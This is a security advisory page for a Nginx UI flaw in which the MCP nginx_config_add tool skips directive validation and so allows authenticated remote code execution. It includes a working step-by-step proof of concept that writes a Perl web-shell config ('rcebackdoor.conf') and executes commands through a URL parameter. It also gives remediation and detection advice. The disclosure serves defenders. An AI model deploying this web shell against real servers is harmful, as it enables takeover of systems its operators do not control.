CVE-2026-84318: Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE

Published Oct 12, 2026
·
Updated

Summary

The MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, jsimport, loadmodule, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

go err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist if err != nil { cosy.ErrHandler(c, err) return }

mcp/config/configadd.go (line 79) omits that call entirely and writes directly:

go err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check ... res := nginx.Control(nginx.Reload) // reload triggered immediately

config.ValidateConfigFile runs two checks: - ValidateConfigContent — rejects control characters, enforces encoding. - ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perlmodules, perlrequire, perlset, jsimport, jsset, jscontent, loadmodule (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/configmodify.go does call ValidateConfigFile correctly — only configadd.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcpmessage JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs Authorization: <token>

{ "name": "rce.conf", "basedir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response: HTTP 500 scope=config code=40017 message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp Authorization: <token> Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcpmessage?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginxconfigadd with the identical blocked payload

POST /mcpmessage?sessionId=<id>

{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "rcebackdoor.conf", "basedir": "conf.d", "overwrite": true, "content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&])/);\n $cmd ||= \"id\";\n $r->sendhttpheader(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n" } } }

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rcebackdoor.conf, nginx reloaded automatically:

json { "jsonrpc": "2.0", "id": 2, "result": { "content": [ { "type": "text", "text": "{\"content\":\"...\",\"filepath\":\"/etc/managed-nginx/conf.d/rcebackdoor.conf\",\"name\":\"rcebackdoor.conf\"}" } ] } }

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id

uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.

On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.

Other sources

Nginx UI is a web user interface for the Nginx web server. From 2.0.0-rc.6 until 2.4.1, the MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, jsimport, loadmodule, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution. This issue is fixed in version 2.4.1.

— NVD

Affected Software

2 affected componentsFixes available
0xJacky Nginx UI>=2.0.0-rc.6<2.4.1
go/github.com/0xJacky/Nginx-UI>=1.9.10-0.20250506154222-1330888280a2<1.9.10-0.20260703131214-23d1934099b0
1.9.10-0.20260703131214-23d1934099b0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 1.9.10-0.20260703131214-23d1934099b0
  2. Upgrade

    Upgrade Nginx UI to a version that resolves this vulnerability.

    Fixed in 2.4.1

Event History

Oct 12, 2026
CVE Published
via MITRE·08:20 PM
Data Sourced
via MITRE·08:20 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeakness
Oct 15, 2026
Advisory Published
via GitHub·08:11 PM
Data Sourced
via GitHub·08:11 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to remote code execution?

Authenticated Nginx UI users can exploit the issue on affected versions if the server has the nginx Perl, njs, or Lua module loaded. Those modules allow dangerous directives written through the MCP tool to result in post-authentication remote code execution.

2

Is the REST API endpoint affected by the same validation bypass?

No. The REST API flow for POST /api/configs calls config.ValidateConfigFile and rejects dangerous directives; the bypass is in the MCP nginx_config_add flow.

3

What should be done to remediate the issue?

Upgrade Nginx UI to version 2.4.1, which fixes the issue. The affected range is from 2.0.0-rc.6 until 2.4.1.

4

How can I determine whether a system may already have been abused?

Review Nginx configuration files written through Nginx UI for blocked or dangerous directives, including perl, js_import, load_module, and user root. Also check whether the nginx Perl, njs, or Lua module is loaded, as their presence makes code execution possible.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203